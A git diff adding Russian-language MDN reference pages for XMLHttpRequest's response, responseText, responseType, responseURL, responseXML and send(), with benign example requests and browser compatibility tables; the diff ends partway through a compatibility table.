+
+<div><span class="seoSummary">Свойство <code>XMLHttpRequest </code></span><code><strong>response</strong></code> <span class="seoSummary"> возвращает содержимое тела ответа в виде <code>ArrayBuffer</code>, <code>Blob</code>, <code>Document</code>, <code>JavaScript Object</code> или <code>DOMString </code>в зависимости от значения свойства <code>responseType</code>.</span></div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>body</em> = <em>XMLHttpRequest</em>.response;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p> </p>
+
+<p>Соответствующий объект, основанный на значении <code>responseType</code>. Вы можете попытаться запросить данные в определенном формате, установив значение <code>responseType</code> после вызова <code>open()</code> для инициализации запроса, но перед вызовом <code>send()</code> для отправки запроса на сервер.</p>
+
+<p>Значение равно <code>null</code>, если запрос еще не завершен или был неудачным, за исключением того, что при чтении текстовых данных с использованием <code>responseType "text"</code> или пустой строки (<code>""</code>), ответ может содержать ответ до тех пор, пока запрос все еще находится в состоянии <code>LOADING readyState (3)</code>.</p>
+
+<p>Типы ответов описаны ниже.</p>
+
+<p> </p>
+
+<p> </p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Значение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>""</code></td>
+   <td>Пустая строка <code>responseType</code> обрабатывается так же, как <code>"text"</code>, тип по умолчанию (следовательно, как <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String.">DOMString</a></code>.)</td>
+  </tr>
+  <tr>
+   <td><code>"arraybuffer"</code></td>
+   <td><a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/response" title="The XMLHttpRequest response property returns the response's body content as an ArrayBuffer, Blob, Document, JavaScript Object, or DOMString, depending on the value of the request's responseType property."><code>response</code></a> в JavaScript <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer" title="The ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You cannot directly manipulate the contents of an ArrayBuffer; instead, you create one of the typed array objects or a DataView object which represents the buffer in a specific format, and use that to read and write the contents of the buffer."><code>ArrayBuffer</code></a> содержит двоичные данные.</td>
+  </tr>
+  <tr>
+   <td><code>"blob"</code></td>
+   <td><code>response</code> в <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob" title="A Blob object represents a file-like object of immutable, raw data. Blobs represent data that isn't necessarily in a JavaScript-native format. The File interface is based on Blob, inheriting blob functionality and expanding it to support files on the user's system."><code>Blob</code></a> object содержит двоичные данные.</td>
+  </tr>
+  <tr>
+   <td><code>"document"</code></td>
+   <td>
+    <p><code>response</code> является <a href="https://developer.mozilla.org/en-US/docs/Glossary/HTML" title="HTML: HTML (HyperText Markup Language) is a descriptive language that specifies webpage structure.">HTML</a> <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document" title="The Document interface represents any web page loaded in the browser and serves as an entry point into the web page's content, which is the DOM tree.HTMLElement"><code>Document</code></a> или <a href="https://developer.mozilla.org/en-US/docs/Glossary/XML" title="XML: eXtensible Markup Language (XML) is a generic markup language specified by the W3C. The information technology (IT) industry uses many languages based on XML as data-description languages.">XML</a> <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLDocument" title="The XMLDocument interface represent an XML document. It inherits from the generic Document and does not add any specific methods or properties to it: nevertheless, several algorithms behave differently with the two types of documents."><code>XMLDocument</code></a>, в зависимости от ситуации, основанный на MIME-типе полученных данных. См. <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a> , чтобы узнать больше об использовании XHR для извлечения содержимого HTML.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"json"</code></td>
+   <td><code>response</code> является JavaScript object, созданный путем анализа содержимого полученных данных как <a href="https://developer.mozilla.org/en-US/docs/Glossary/JSON" title="JSON: JavaScript Object Notation (JSON) is a data-interchange format.  Although not a strict subset, JSON closely resembles a subset of JavaScript syntax. Though many programming languages support JSON, JSON is especially useful for JavaScript-based apps, including websites and browser extensions.">JSON</a>.</td>
+  </tr>
+  <tr>
+   <td><code>"text"</code></td>
+   <td><code>response</code> является текстом в <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a> object.</td>
+  </tr>
+  <tr>
+   <td><code>"moz-chunked-arraybuffer"</code> </td>
+   <td>
+    <p> </p>
+
+    <p>Похож на <code>"arraybuffer"</code>, но данные принимаются в потоке. При использовании этого типа ответа значение в <code>response</code> доступно только в обработчике для события <code><a href="https://developer.mozilla.org/en-US/docs/Web/Events/progress" title="/en-US/docs/Web/Events/progress">progress</a></code> и содержит только данные, полученные с момента последнего события <code>progress</code>, а не совокупные данные, полученные с момента отправки запроса.</p>
+
+    <p>Доступ к <code>response</code> во время события <code>progress</code> возвращает полученные данные. За пределами обработчика событий <code>progress</code> значение <code>response</code> всегда равно <code>null</code>.</p>
+
+    <p> </p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>"ms-stream"</code> </td>
+   <td><code>response</code> является частью потоковой загрузки; этот тип ответа разрешен только для запросов на загрузку и поддерживается только Internet Explorer.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Пример">Пример</h2>
+
+<p> </p>
+
+<p> </p>
+
+<p>В этом примере представлена функция <code>load()</code>, которая загружает и обрабатывает страницу с сервера. Он работает путем создания объекта <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> и создания обработчика собития с событием <code>readystatechange</code>, чтобы при изменении <code>readyState </code>на <code>DONE (4)</code> <code>response</code> получался и передавался в функцию обратного вызова, предоставляемую <code>load()</code>.</p>
+
+<p>Содержимое обрабатывается как необработанные текстовые данные (поскольку здесь ничто не переопределяет <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest/responseType" title="The XMLHttpRequest property responseType is an enumerated string value specifying the type of data contained in the response."><code>responseType</code></a> по умолчанию).</p>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush: js">var url = 'somePage.html'; //A local page
+
+function load(url, callback) {
+  var xhr = new XMLHttpRequest();
+
+  xhr.onreadystatechange = function() {
+    if (xhr.readyState === 4) {
+      callback(xhr.response);
+    }
+  }
+
+  xhr.open('GET', url, true);
+  xhr.send('');
+}
+
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-response-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG живой стандарт</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузера">Совместимость браузера</h2>
+
+<div class="hidden">Таблица совместимости на этой странице генерируется из структурированных данных. Если вы хотите внести свой вклад в эти данные, просмотрите <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на извлечение.</div>
+
+<p>{{Compat("api.XMLHttpRequest.response")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li>Getting text and HTML/XML data: {{domxref("XMLHttpRequest.responseText")}} and {{domxref("XMLHttpRequest.responseXML")}}</li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/responsetext/index.html b/files/ru/web/api/xmlhttprequest/responsetext/index.html
new file mode 100644
index 0000000000..67421dc290
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/responsetext/index.html
@@ -0,0 +1,75 @@
+---
+title: XMLHttpRequest.responseText
+slug: Web/API/XMLHttpRequest/responseText
+translation_of: Web/API/XMLHttpRequest/responseText
+---
+<div>{{draft}}</div>
+
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">Только для чтения {{domxref("XMLHttpRequest")}} свойство <strong><code>responseText</code></strong> возвращает текст ответа от сервера на отправленный запрос.</span></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <var>resultText</var> = <var>XMLHttpRequest</var>.responseText;</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Строка {{domxref("DOMString")}} содержащая либо <code>текстовые данные, </code>полученные при использовании <code>XMLHttpRequest, либо</code> <code>null</code> в случае, когда вопрос возвратил ошибку, или же еще не был  отослан на сервер вызовом функции {{domxref("XMLHttpRequest.send", "send()")}}.</p>
+
+<p>Во время выполнения асинхронных запросов, в значении <code>responseText</code> всегда находится текущее содержимое, полученное от сервера, даже если запрос еще не завершен, и данные от сервера не получены полностью.</p>
+
+<p>Понять, что ответ получен полностью, можно когда значение {{domxref("XMLHttpRequest.readyState", "readyState")}} становится {{domxref("XMLHttpRequest.DONE", "XMLHttpRequest.DONE")}} (<code>4</code>), а значение {{domxref("XMLHttpRequest.status", "status")}} становится 200 (<code>"OK"</code>).</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>Возникает, когда значению {{domxref("XMLHttpRequest.responseType")}} не присвоена либо пустая строка, либо "text". Поскольку свойство <code>responseText</code> предназначено только для текстового содержимого, любое другое значение вызовет ошибку.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// responseType должно быть пустой строкой, либо "text"
+xhr.responseType = 'text';
+
+xhr.onload = function () {
+    if (xhr.readyState === xhr.DONE) {
+        if (xhr.status === 200) {
+            console.log(xhr.response);
+            console.log(xhr.responseText);
+        }
+    }
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация </th>
+   <th scope="col">Статус</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responsetext-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.responseText")}}</p>
diff --git a/files/ru/web/api/xmlhttprequest/responsetype/index.html b/files/ru/web/api/xmlhttprequest/responsetype/index.html
new file mode 100644
index 0000000000..91e38522bf
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/responsetype/index.html
@@ -0,0 +1,137 @@
+---
+title: XMLHttpRequest.responseType
+slug: Web/API/XMLHttpRequest/responseType
+translation_of: Web/API/XMLHttpRequest/responseType
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><strong><code>XMLHttpRequest.responseType</code></strong> <font><font>Свойство является перечислимым значением, </font><font>которое возвращает тип ответа. </font><font>Он также позволяет автору изменять тип ответа. Если значение не задано, будет использовано значение по умолчанию <strong><code>text</code></strong></font></font><font><font>. </font></font><font><font>Установка значения responseType в «document» игнорируется, если выполняется в  </font></font><a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker"><font><font>рабочей</font></font></a><font><font> среде. </font><font>При настройке </font></font><code>responseType</code><font><font> на определенное значение автор должен убедиться, что сервер действительно отправляет ответ, совместимый с этим форматом. Если сервер возвращает данные, которые не совместимы с установленным </font></font><code>responseType</code><font><font>, значение </font></font><code>response</code> <font><font>будет </font></font><code>null</code><font><font>. </font><font>Кроме того, установка </font></font><code>responseType</code> <font><font>для синхронных запросов вызовет исключение </font></font><code>InvalidAccessError</code><font><font>.</font></font></p>
+
+<p><font><font>Поддерживаемые значения </font></font><code>responseType</code><font><font>:</font></font></p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Value</td>
+   <td class="header">Data type of <code>response</code> property</td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td>{{domxref("DOMString")}} (this is the default value)</td>
+  </tr>
+  <tr>
+   <td><code>"arraybuffer"</code></td>
+   <td>{{domxref("ArrayBuffer")}}</td>
+  </tr>
+  <tr>
+   <td><code>"blob"</code></td>
+   <td>{{domxref("Blob")}}</td>
+  </tr>
+  <tr>
+   <td><code>"document"</code></td>
+   <td>{{domxref("Document")}}</td>
+  </tr>
+  <tr>
+   <td><code>"json"</code></td>
+   <td><a href="/en-US/docs/Glossary/JSON"><code>JSON</code></a></td>
+  </tr>
+  <tr>
+   <td><code>"text"</code></td>
+   <td>{{domxref("DOMString")}}</td>
+  </tr>
+  <tr>
+   <td><code>"moz-chunked-arraybuffer"</code> {{non-standard_inline}}</td>
+   <td>
+    <p><font><font>Похоже на </font></font><code>"arraybuffer"</code><font><font>, но потоковое. </font><font>Это означает, что значение в </font></font><code>response</code> <font><font>доступно только при отправке </font></font><code>"progress"</code> <font><font>события и содержит только данные, полученные с момента последнего </font></font><code>"progress"</code> <font><font>события.</font></font></p>
+
+    <p><font><font>При </font></font><code>response</code><font><font> обращении во время события </font></font><code>"progress"</code> <font><font>он содержит строку с данными. </font><font>В противном случае он возвращается </font></font><code>null</code><font><font>.</font></font></p>
+
+    <p>Этот режим работает только в Firefox.. {{gecko_minversion_inline("9.0")}}</p>
+   </td>
+  </tr>
+  <tr>
+   <td>"ms-stream"{{non-standard_inline}}</td>
+   <td>Указывает, что ответ является частью потоковой загрузки. Он поддерживается только для запросов на загрузку. Этот режим доступен только в Internet Explorer.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responsetype-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>31</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>12<sup>[1]</sup></td>
+   <td>10</td>
+   <td>18</td>
+   <td>7.1</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>4.0.3 [2]<br>
+     4.4</p>
+   </td>
+   <td>55</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>50<sup>[1]</sup></td>
+   <td>10</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Проприетарный <code>moz-blob</code> и <code>moz-chunked-text</code> значения полностью удалены в Firefox 58.</p>
+
+<p>[2] Поддерживается только <code>text</code> и <code>arraybuffer</code>.</p>
diff --git a/files/ru/web/api/xmlhttprequest/responseurl/index.html b/files/ru/web/api/xmlhttprequest/responseurl/index.html
new file mode 100644
index 0000000000..ed61b3451b
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/responseurl/index.html
@@ -0,0 +1,42 @@
+---
+title: XMLHttpRequest.responseURL
+slug: Web/API/XMLHttpRequest/responseURL
+translation_of: Web/API/XMLHttpRequest/responseURL
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p>Свойство <code><strong>XMLHttpRequest.responseURL</strong></code> доступно только для чтения, возвращает сериализованный URL ответа или пустую строку,  если URL равен <code>null</code>. Если URL возвращен, любой URL фрагмент в URL будет стерт. Значение <code>responseURL</code> станет окончательным URL, получаемым после любых редиректов.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', 'http://example.com/test', true);
+xhr.onload = function () {
+  console.log(xhr.responseURL); // http://example.com/test
+};
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responseurl-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequest.responseURL")}}</p>
diff --git a/files/ru/web/api/xmlhttprequest/responsexml/index.html b/files/ru/web/api/xmlhttprequest/responsexml/index.html
new file mode 100644
index 0000000000..950d731c0d
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/responsexml/index.html
@@ -0,0 +1,142 @@
+---
+title: XMLHttpRequest.responseXML
+slug: Web/API/XMLHttpRequest/responseXML
+tags:
+  - AJAX
+  - API
+  - XMLHttpRequest
+  - Отправка
+  - Свойство
+  - Справка
+  - Только для чтения
+  - загрузка
+translation_of: Web/API/XMLHttpRequest/responseXML
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Свойство </font><strong>XMLHttpRequest.responseXML</strong></code> это доступное только для чтения значение, которое содержит {{domxref("Document")}} содержащий HTML или XML полученный запросом, или <code>null</code> в случае, если запрос не был успешен, ещё не был отправлен или полученные данные не могут быть корректно обработаны как XML или HTML. Ответ обрабатывается так, как если бы это был <code>"text/xml"</code>. В случае, если {{domxref("XMLHttpRequest.responseType", "responseType")}} установлен как <code>"document"</code> и запрос был осуществлён асинхронно, ответ обрабатывается как <code>"text/html"</code>. <code>responseXML</code> содержит <code>null</code> для любых других типов данных так же, как и для <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs"><code>data:</code> URLs</a>.</p>
+
+<div class="note">
+<p>Название <code>responseXML</code> это наследие истории этого свойства, на самом деле оно работает как для HTML, так и для XML.</p>
+</div>
+
+<p>Если сервер не определяет заголовок {{HTTPHeader("Content-Type")}} как <code>"text/xml"</code> или <code>"application/xml"</code>, вы в любом случае можете использовать {{domxref("XMLHttpRequest.overrideMimeType()")}} чтобы заставить <code>XMLHttpRequest</code> обрабатывать ответ как XML.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>data</em> = <em>XMLHttpRequest</em>.responseXML;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("Document")}} содержащий древовидный результат обработки XML или HTML, полученных с использованием {{domxref("XMLHttpRequest")}}, или <code>null</code>, если данные не были получены или содержат другой тип данных.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>InvalidStateError</code></dt>
+ <dd>{{domxref("XMLHttpRequest.responseType", "responseType")}} не является <code>"document"</code> или пустой строкой (каждый из которых указывает, что принятые данные это XML или HTML).</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+// Значение responseType, если указано, должно быть пустой строкой или "document"
+xhr.responseType = 'document';
+
+// overrideMimeType() может быть использован, чтобы заставить ответ обрабатываться как XML
+xhr.overrideMimeType('text/xml');
+
+xhr.onload = function () {
+  if (xhr.readyState === xhr.DONE) {
+    if (xhr.status === 200) {
+      console.log(xhr.response);
+      console.log(xhr.responseXML);
+    }
+  }
+};
+
+xhr.send(null);</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-responsexml-attribute')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Действующий стандарт WHATWG</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)<sup>[1]</sup></th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1]  До Firefox 51, обработка ошибок полученных данных добавляла узел <code>&lt;parsererror&gt;</code> в верх {{domxref("Document")}} и затем возвращала <code>Document</code> в каком бы состоянии он ни оказывался. Это было расхождение со спецификацией. Начиная с Firefox 51 сейчас в этом случае возвращается <code>null,</code> как и указано в спецификации.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{domxref("XMLHttpRequest.response")}}</li>
+ <li>{{domxref("XMLHttpRequest.responseType")}}</li>
+</ul>
diff --git a/files/ru/web/api/xmlhttprequest/send/index.html b/files/ru/web/api/xmlhttprequest/send/index.html
new file mode 100644
index 0000000000..4ad9a4cd9e
--- /dev/null
+++ b/files/ru/web/api/xmlhttprequest/send/index.html
@@ -0,0 +1,291 @@
+---
+title: XMLHttpRequest.send()
+slug: Web/API/XMLHttpRequest/send
+tags:
+  - AJAX
+  - API
+  - HTTP запрос
+  - XHR
+  - XHR запрос
+  - XMLHttpRequest
+  - send
+  - запрос
+translation_of: Web/API/XMLHttpRequest/send
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p>Метод <code><strong>XMLHttpRequest.send()</strong></code> отправляет запрос. Если запрос асинхронный (каким он является по-умолчанию), то возврат из данного метода происходит сразу после отправления запроса. Если запрос синхронный, то метод возвращает управление только после получения ответа. Метод <code>send()</code> принимает необязательные аргументы в тело запросов. Если метод запроса <code>GET</code> или <code>HEAD</code>, то аргументы игнорируются и тело запроса устанавливается в null.</p>
+
+<p>Если заголовок {{HTTPHeader("Accept")}} не был задан с помощью {{domxref("XMLHttpRequest.setRequestHeader", "setRequestHeader()")}}, будет отправлено значение <code>Accept</code> по-умолчанию <code>*/*</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">XMLHttpRequest.send(<em>body</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>
+ <p><em>body</em> {{optional_inline}}</p>
+ </dt>
+ <dd>
+ <p>Данные из параметра body оправляются в запросе через XHR. Это могут быть:</p>
+
+ <ul>
+  <li>{{domxref("Document")}}, и в этом случае данные будут сериализованы перед отправкой.</li>
+  <li><code>BodyInit</code>, которые, согласно спецификации <a href="https://fetch.spec.whatwg.org/#bodyinit">Fetch </a>могут быть: {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("ReadableStream")}}, или объектом {{domxref("USVString")}}.</li>
+ </ul>
+ </dd>
+</dl>
+
+<p>Лучший способ передать двоичные данные (например при загрузке файлов) - это использование <a href="/en-US/docs/Web/API/ArrayBufferView">ArrayBufferView</a> или <a href="/en-US/docs/Web/API/Blob">Blobs</a> в сочетании с методом<code>send()</code>.</p>
+
+<p>Если никакого значения не определено в качестве <em>body</em>, то будет использовано значение по-умолчанию: <code>null</code>.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+
+
+<p><code>undefined</code>.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Исключение</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td><code>send()</code> уже был вызван для запроса, и/или запрос завершен.</td>
+  </tr>
+  <tr>
+   <td><code>NetworkError</code></td>
+   <td>Тип запрошенного ресурса - Blob, но метод запроса не <code>GET</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+
+
+<h2 id="Пример_GET">Пример: GET</h2>
+
+<pre><code>var xhr = new XMLHttpRequest();
+xhr.open('GET', '/server', true);
+
+xhr.onload = function () {
+  // Запрос завершен. Здесь можно обрабатывать результат.
+};
+
+xhr.send(null);
+// xhr.send('string');
+</code>// <code>xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send({ form: 'data' });
+// xhr.send(document);</code>
+</pre>
+
+<h2 id="Пример_POST">Пример: POST</h2>
+
+<pre><code>var xhr = new XMLHttpRequest();
+xhr.open("POST", '/server', true);
+
+//Передает правильный заголовок в запросе
+xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
+
+xhr.onreadystatechange = function() {//Вызывает функцию при смене состояния.
+    if(xhr.readyState == XMLHttpRequest.DONE &amp;&amp; xhr.status == 200) {
+        // Запрос завершен. Здесь можно обрабатывать результат.
+    }
+}
+xhr.send("foo=bar&amp;lorem=ipsum");
+// xhr.send('string');
+</code>// <code>xhr.send(new Blob());
+// xhr.send(new Int8Array());
+// xhr.send({ form: 'data' });
+// xhr.send(document);</code>
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest', '#the-send()-method', 'send()')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(1)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatIe('5')}}<sup>[1]</sup><br>
+    {{CompatIe('7')}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatSafari('1.2')}}</td>
+  </tr>
+  <tr>
+   <td><code>send(ArrayBuffer)</code></td>
+   <td>{{CompatChrome(9)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatIe('10')}}</td>
+   <td>{{CompatOpera('11.60')}}</td>
+   <td>{{compatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(ArrayBufferView)</code></td>
+   <td>{{CompatChrome(22)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("20.0")}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+   <td>{{compatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(Blob)</code></td>
+   <td>{{CompatChrome(7)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>{{CompatIe('10')}}</td>
+   <td>{{CompatOpera('12')}}</td>
+   <td>{{compatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>send(FormData)</code></td>
+   <td>{{CompatChrome(6)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
